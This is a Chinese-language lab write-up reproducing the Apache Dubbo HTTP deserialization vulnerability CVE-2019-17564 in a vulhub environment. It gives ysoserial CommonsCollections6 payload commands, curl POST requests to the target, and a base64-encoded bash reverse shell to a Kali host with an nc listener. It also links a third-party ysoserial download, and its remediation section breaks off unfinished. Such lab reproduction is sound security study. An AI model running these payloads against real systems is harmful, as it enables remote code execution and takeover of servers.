作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一、前言
近期接工信部网安局通知:近日工业和信息化部网络安全威胁和漏洞信息共享平台检测发现,开源分布式服务框架Apache Dubbo Hession反序列化漏CVE-2022-39198存在反序列化超危漏洞(CVE-2022-39198)。
详情如下:
Apache Dubbo是一款高性能、轻量级的开源服务框架,其在解析Native_Java协议时,未对用户输入的反序列化数据包进行过滤,导致反序列化过程可被恶意控制,造成恶意代码执行等后果。该漏洞危害级别为超危,影响2.6.10-2.6.12、2.7.9-2.7.18、3.0.0-3.0.12、3.1.0-3.1.1等多个版本。
在之前我想起在Vulhub漏洞平台复现过Aapche Dubbo Java反序列化漏洞(CVE-2019-17564),虽然不是最新的(CVE-2022-39198)漏洞,但也想把(CVE-2019-17564)分享一下。
二、Apache Dubbo是什么?
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
三、复现步骤
所使用的的是本地vulhub漏洞平台,具体部署可参考vulhub官网。
本次复现文章https://vulhub.org/#/environments/dubbo/CVE-2019-17564/
测试环境:
虚拟机 :VMware Workstation Pro 16
网络模式 :VMnet8(能够相互通信即可)
Centos(vulhub) :IP地址:192.168.5.132
KALI :IP地址:192.168.5.128
Apache Dubbo 2.7.3
1.开启靶场
Centos(vulhub)系统命令如下:
#cd /vulhub-master/dubbo/CVE-2019-17564 //进入靶场环境存放路径。
#docker-compose up -d //开启环境,第一次可能需要时间拉取环境。
2.复现
KALI系统命令如下:
#nmap -p- 192.168.5.132 //查看开放端口
对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,我们本地下载Zookeeper,使用其中自带的zkCli即可连接到这台,Zookeeper下载地址https://github.com/apache/zookeeper。
#cd apache-zookeeper-3.8.0-bin/bin/
#ll //查看里面内容。
#./zkCli.sh -server 192.168.5.132:2181 //使用zkCli连接到这台Zookeeper服务器:
连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:
获取到RPC接口名为org.vulhub.api.CalcService
[zk: 192.168.5.132:2181(CONNECTED) 0] ls /
[dubbo, zookeeper]
[zk: 192.168.5.132:2181(CONNECTED) 1] ls /dubbo
[org.vulhub.api.CalcService]
接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://your-ip:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:
ysoserial下载地址:
链接:https://pan.baidu.com/s/1X9bdCEhWHIwSpmdhVz5mRA?pwd=2e3e
提取码:2e3e
#java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc //生成一个创建success的1.poc
#curl -XPOST --data-binary @1.poc http://192.168.5.132:8080/org.vulhub.api.CalcService //将Payload作为POST Body发送到靶机
去靶机验证一下
Centos(vulhub)系统命令如下:
#docker ps //查看容器
#docker exec -it a723a4e6fee bash //进入容器。
#ls /tmp //在容器里查看脚本执行的创建文件夹
制做反弹shell的脚本
KALI系统命令如下:
#java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI4Lzc3NzcgMD4mMQo=}|{base64,-d}|{bash,-i}" > 2.poc //生成反弹shell的脚本2.poc
#nc -lvvp 7777 //在开一个窗口监听7777端口
#curl -XPOST --data-binary @2.poc http://192.168.5.132:8080/org.vulhub.api.CalcService //将Payload作为POST Body发送到靶机
#whoami //查看当前权限
里面的**YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI4Lzc3NzcgMD4mMQo=**是通过base64加密而来,可通过在线加密得到。
获取到靶机的root权限
四、修复方案
升级到版本